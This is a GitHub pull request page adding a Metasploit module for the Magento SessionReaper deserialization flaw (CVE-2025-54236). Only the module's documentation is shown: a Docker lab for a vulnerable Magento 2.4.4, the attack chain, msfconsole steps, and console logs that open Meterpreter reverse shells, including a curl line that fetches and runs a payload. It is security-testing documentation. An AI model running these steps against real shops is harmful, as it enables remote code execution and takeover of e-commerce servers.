-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Magento SessionReaper (CVE-2025-54236) exploit module #20725
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
Chocapikk
wants to merge
9
commits into
rapid7:master
Choose a base branch
from
Chocapikk:magento
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+670
−0
Open
Changes from all commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
1623660
Add Magento SessionReaper (CVE-2025-54236) exploit module
Chocapikk 9ef10ee
Update documentation with complete Docker lab setup files
Chocapikk 39c20a9
Fix PHP syntax error in payload stub - add quotes around POST parameter
Chocapikk c89d53e
Add FileDropper mixin and register files for automatic cleanup
Chocapikk 0cc0ea2
Fix reference URL to correct Searchlight Cyber research article
Chocapikk be7ad39
Fix reference URL in documentation to correct Searchlight Cyber resea…
Chocapikk 4ff9fd4
Apply reviewer suggestions and remove unnecessary Options section fro…
Chocapikk 278f3c9
Add error handling for upload failures in magento_sessionreaper module
Chocapikk c8ec6e2
Fix magento_sessionreaper: use server-returned upload path when avail…
Chocapikk File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
398 changes: 398 additions & 0 deletions
398
documentation/modules/exploit/multi/http/magento_sessionreaper.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,398 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that | ||
| allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file | ||
| upload. | ||
|
|
||
| This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session | ||
| storage. The module was specifically tested against Magento 2.4.4. | ||
|
|
||
| ### Description | ||
|
|
||
| This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated | ||
| remote code execution through nested deserialization and unauthenticated file upload. | ||
|
|
||
| The exploit chain: | ||
| 1. Uploads a malicious session file via unauthenticated endpoint `/customer/address_file/upload` | ||
| 2. Triggers deserialization by modifying session savePath via REST API endpoint | ||
| `/rest/default/V1/guest-carts/{cart_id}/order` | ||
| 3. Executes arbitrary PHP code | ||
|
|
||
| Patched versions return 400 Bad Request instead of processing the payload. | ||
|
|
||
| ### Installation | ||
|
|
||
| #### Magento 2.4.4 with Docker | ||
|
|
||
| Create a directory for the lab environment: | ||
|
|
||
| ```bash | ||
| mkdir -p test/magento | ||
| cd test/magento | ||
| ``` | ||
|
|
||
| Create `docker-compose.yml`: | ||
|
|
||
| ```yaml | ||
| version: '3.8' | ||
|
|
||
| services: | ||
| app: | ||
| build: | ||
| context: . | ||
| dockerfile: Dockerfile | ||
| args: | ||
| - MYSQL_HOST=db | ||
| - ELASTICSEARCH_HOST=elasticsearch | ||
| container_name: magento-test | ||
| ports: | ||
| - "8082:80" | ||
| environment: | ||
| - MYSQL_HOST=db | ||
| - MYSQL_DATABASE=magento | ||
| - MYSQL_USER=magento | ||
| - MYSQL_PASSWORD=magento | ||
| - ELASTICSEARCH_HOST=elasticsearch | ||
| - ELASTICSEARCH_PORT=9200 | ||
| - PHP_MEMORY_LIMIT=2G | ||
| volumes: | ||
| - appdata:/var/www/html | ||
| - sessions:/var/www/html/var/session | ||
| depends_on: | ||
| - db | ||
| - elasticsearch | ||
| restart: unless-stopped | ||
|
|
||
| db: | ||
| image: mariadb:10.4 | ||
| container_name: magento-db | ||
| environment: | ||
| - MYSQL_ROOT_PASSWORD=root | ||
| - MYSQL_DATABASE=magento | ||
| - MYSQL_USER=magento | ||
| - MYSQL_PASSWORD=magento | ||
| volumes: | ||
| - dbdata:/var/lib/mysql | ||
| restart: unless-stopped | ||
|
|
||
| elasticsearch: | ||
| image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0 | ||
| container_name: magento-elasticsearch | ||
| environment: | ||
| - discovery.type=single-node | ||
| - "ES_JAVA_OPTS=-Xms512m -Xmx512m" | ||
| - xpack.security.enabled=false | ||
| volumes: | ||
| - esdata:/usr/share/elasticsearch/data | ||
| restart: unless-stopped | ||
|
|
||
| volumes: | ||
| appdata: | ||
| sessions: | ||
| dbdata: | ||
| esdata: | ||
| ``` | ||
|
|
||
| Create `Dockerfile`: | ||
|
|
||
| ```dockerfile | ||
| FROM php:7.4-apache | ||
|
|
||
| # Install system dependencies | ||
| RUN apt-get update && apt-get install -y \ | ||
| libxml2-dev \ | ||
| libxslt-dev \ | ||
| libzip-dev \ | ||
| libonig-dev \ | ||
| libfreetype6-dev \ | ||
| libjpeg62-turbo-dev \ | ||
| libpng-dev \ | ||
| libicu-dev \ | ||
| git \ | ||
| unzip \ | ||
| curl \ | ||
| wget \ | ||
| default-mysql-client \ | ||
| && rm -rf /var/lib/apt/lists/* | ||
|
|
||
| # Install PHP extensions | ||
| RUN docker-php-ext-configure gd --with-freetype --with-jpeg \ | ||
| && docker-php-ext-install -j$(nproc) \ | ||
| bcmath \ | ||
| dom \ | ||
| gd \ | ||
| intl \ | ||
| mbstring \ | ||
| mysqli \ | ||
| opcache \ | ||
| pdo_mysql \ | ||
| soap \ | ||
| xsl \ | ||
| zip \ | ||
| sockets | ||
|
|
||
| # Install Composer | ||
| RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer | ||
|
|
||
| # Enable mod_rewrite | ||
| RUN a2enmod rewrite | ||
|
|
||
| # Create installation script inline | ||
| RUN cat > /install-magento.sh << 'INSTALL_EOF' | ||
| #!/bin/bash | ||
| set -e | ||
| echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..." | ||
| cd /tmp | ||
| rm -rf magento2-2.4.4 magento.tar.gz | ||
| wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz | ||
| echo "[*] Extracting Magento..." | ||
| tar -xzf magento.tar.gz | ||
| echo "[*] Copying Magento files to /var/www/html..." | ||
| cd /var/www/html | ||
| for item in * .*; do | ||
| [ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue | ||
| rm -rf "$item" 2>/dev/null || true | ||
| done | ||
| cp -r /tmp/magento2-2.4.4/* /var/www/html/ | ||
| cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true | ||
| rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4 | ||
| cd /var/www/html | ||
| echo "[*] Setting permissions..." | ||
| chown -R www-data:www-data /var/www/html | ||
| chmod -R 755 /var/www/html | ||
| echo "[*] Installing Composer dependencies..." | ||
| composer self-update --1 2>/dev/null || true | ||
| php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues" | ||
| php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true | ||
| echo "[*] Installing Magento..." | ||
| php -d memory_limit=2G bin/magento setup:install \ | ||
| --base-url=http://127.0.0.1:8082/ \ | ||
| --db-host=db \ | ||
| --db-name=magento \ | ||
| --db-user=magento \ | ||
| --db-password=magento \ | ||
| --admin-firstname=Admin \ | ||
| --admin-lastname=User \ | ||
| [email protected] \ | ||
| --admin-user=admin \ | ||
| --admin-password=Admin123! \ | ||
| --language=en_US \ | ||
| --currency=USD \ | ||
| --timezone=America/New_York \ | ||
| --use-rewrites=1 \ | ||
| --backend-frontname=admin \ | ||
| --search-engine=elasticsearch7 \ | ||
| --elasticsearch-host=elasticsearch \ | ||
| --elasticsearch-port=9200 2>&1 | ||
| if [ -f /var/www/html/app/etc/env.php ]; then | ||
| echo "[*] Configuring file-based sessions..." | ||
| php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '<?php return ' . var_export(\$env, true) . ';');" | ||
| echo "[*] Compiling Magento code..." | ||
| php -d memory_limit=2G bin/magento setup:di:compile 2>&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered" | ||
| echo "[*] Setting final permissions..." | ||
| chmod 644 /var/www/html/app/etc/env.php | ||
| chown www-data:www-data /var/www/html/app/etc/env.php | ||
| mkdir -p /var/www/html/var/session | ||
| chmod -R 777 /var/www/html/var | ||
| chown -R www-data:www-data /var/www/html/var | ||
| echo "[*] Magento installation complete!" | ||
| else | ||
| echo "[!] Installation failed - env.php not found" | ||
| exit 1 | ||
| fi | ||
| INSTALL_EOF | ||
| RUN chmod +x /install-magento.sh | ||
|
|
||
| # Create entrypoint script inline | ||
| RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF' | ||
| #!/bin/bash | ||
| set -e | ||
| echo "[*] Starting Apache..." | ||
| apache2-foreground & | ||
| APACHE_PID=$! | ||
| echo "[*] Waiting for MySQL..." | ||
| until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do | ||
| echo "[*] MySQL not ready, waiting..." | ||
| sleep 2 | ||
| done | ||
| echo "[*] MySQL ready!" | ||
| echo "[*] Waiting for Elasticsearch..." | ||
| until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do | ||
| echo "[*] Elasticsearch not ready, waiting..." | ||
| sleep 2 | ||
| done | ||
| echo "[*] Elasticsearch ready!" | ||
| if [ ! -f /var/www/html/app/etc/env.php ]; then | ||
| echo "[*] Magento not found, installing..." | ||
| /install-magento.sh | ||
| echo "[*] Installation script completed" | ||
| else | ||
| echo "[*] Magento already installed" | ||
| fi | ||
| echo "[*] Ensuring session directory exists..." | ||
| mkdir -p /var/www/html/var/session | ||
| chmod -R 777 /var/www/html/var | ||
| chown -R www-data:www-data /var/www/html/var | ||
| echo "[*] ========================================" | ||
| echo "[*] Magento ready: http://127.0.0.1:8082/" | ||
| echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)" | ||
| echo "[*] ========================================" | ||
| wait $APACHE_PID | ||
| ENTRYPOINT_EOF | ||
| RUN chmod +x /entrypoint.sh | ||
|
|
||
| # Set working directory | ||
| WORKDIR /var/www/html | ||
|
|
||
| # Configure PHP memory limits | ||
| RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \ | ||
| echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \ | ||
| echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini | ||
|
|
||
| EXPOSE 80 | ||
|
|
||
| ENTRYPOINT ["/entrypoint.sh"] | ||
| ``` | ||
|
|
||
| Build and start the containers: | ||
|
|
||
| ```bash | ||
| docker compose up -d --build | ||
| ``` | ||
|
|
||
| Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically: | ||
| - Wait for MySQL and Elasticsearch to be ready | ||
| - Download and install Magento 2.4.4 | ||
| - Configure file-based session storage | ||
| - Set proper permissions | ||
|
|
||
| Access Magento: | ||
| - Frontend: http://127.0.0.1:8082/ | ||
| - Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!) | ||
|
|
||
| The lab uses: | ||
| - Magento 2.4.4 (vulnerable version) | ||
| - PHP 7.4 | ||
| - MariaDB 10.4 | ||
| - Elasticsearch 7.17.0 | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 2. Do: `use exploit/multi/http/magento_sessionreaper` | ||
| 3. Do: `set RHOSTS <target_ip>` | ||
| 4. Do: `set RPORT 8082` (or the appropriate port) | ||
| 5. Do: `set TARGET 1` (for Unix/Linux Command Shell) | ||
| 6. Do: `set payload cmd/linux/http/x64/meterpreter/reverse_tcp` | ||
| 7. Do: `set LHOST <your_ip>` | ||
| 8. Do: `set LPORT 4444` | ||
| 9. Do: `run` | ||
| 10. You should get a Meterpreter session | ||
|
|
||
| ## Options | ||
|
|
||
| This module does not require any additional options beyond the standard HTTP client options. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Target 0 - PHP In-Memory (Magento 2.4.4 on Docker) | ||
|
|
||
| ``` | ||
| msf > use exploit/multi/http/magento_sessionreaper | ||
| [*] No payload configured, defaulting to php/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1 | ||
| RHOSTS => 172.21.0.1 | ||
| msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082 | ||
| RPORT => 8082 | ||
| msf exploit(multi/http/magento_sessionreaper) > set TARGET 0 | ||
| TARGET => 0 | ||
| msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp | ||
| payload => php/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1 | ||
| LHOST => 172.21.0.1 | ||
| msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444 | ||
| LPORT => 4444 | ||
| msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true | ||
| VERBOSE => true | ||
| msf exploit(multi/http/magento_sessionreaper) > run | ||
|
|
||
| [*] Started reverse TCP handler on 172.21.0.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. Target returned 500 error with SessionHandler | ||
| [*] Generating Guzzle/FW1 deserialization payload... | ||
| [*] Uploading session file with Guzzle payload... | ||
| [*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a | ||
| [*] Triggering deserialization with savePath: media/customer_address/s/e | ||
| [+] Deserialization triggered (HTTP 404) | ||
| [*] Executing payload at: /pub/AbfsP.php | ||
| [*] Sending stage (41224 bytes) to 172.21.0.4 | ||
| [*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 93d562876bca | ||
| OS : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64 | ||
| Architecture : x64 | ||
| System Language : C | ||
| Meterpreter : php/linux | ||
| meterpreter > exit | ||
| [*] Shutting down session: 1 | ||
| [*] 172.21.0.1 - Meterpreter session 1 closed. Reason: User exit | ||
| ``` | ||
|
|
||
| ### Target 1 - Unix/Linux Command Shell (Magento 2.4.4 on Docker) | ||
|
|
||
| ``` | ||
| msf exploit(multi/http/magento_sessionreaper) > set TARGET 1 | ||
| TARGET => 1 | ||
| msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1 | ||
| LHOST => 172.21.0.1 | ||
| msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444 | ||
| LPORT => 4444 | ||
| msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true | ||
| VERBOSE => true | ||
| msf exploit(multi/http/magento_sessionreaper) > run | ||
|
|
||
| [*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY& | ||
| [*] Fetch handler listening on 172.21.0.1:8080 | ||
| [*] HTTP server started | ||
| [*] Adding resource /jA-UlkUXeCwJQV_LW9doGw | ||
| [*] Started reverse TCP handler on 172.21.0.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. Target returned 500 error with SessionHandler | ||
| [*] Generating Guzzle/FW1 deserialization payload... | ||
| [*] Uploading session file with Guzzle payload... | ||
| [*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8 | ||
| [*] Triggering deserialization with savePath: media/customer_address/s/e | ||
| [+] Deserialization triggered (HTTP 404) | ||
| [*] Executing payload at: /pub/AGD3.php | ||
| [*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw | ||
| [*] Sending payload to 172.21.0.4 (curl/7.74.0) | ||
| [*] Transmitting intermediate stager...(126 bytes) | ||
| [*] Sending stage (3090404 bytes) to 172.21.0.4 | ||
| [*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 172.21.0.4 | ||
| OS : Debian 11.5 (Linux 6.14.0-115036-tuxedo) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > | ||
| ``` | ||
|
|
||
| ### Check Command | ||
|
|
||
| ``` | ||
| msf exploit(multi/http/magento_sessionreaper) > check | ||
| [+] The target appears to be vulnerable. Target returned 500 error with SessionHandler | ||
| ``` | ||
|
|
||
| ## References | ||
|
|
||
| - [CVE-2025-54236](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54236) | ||
| - [Searchlight Cyber Blog - Why Nested Deserialization is Still Harmful: Magento RCE CVE-2025-54236] | ||
| (https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/) | ||
| - [Adobe Security Bulletin](https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397) | ||
|
|
||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is file-based sessions storage enabled by default? I think it would be worth explicitly mention that detail here.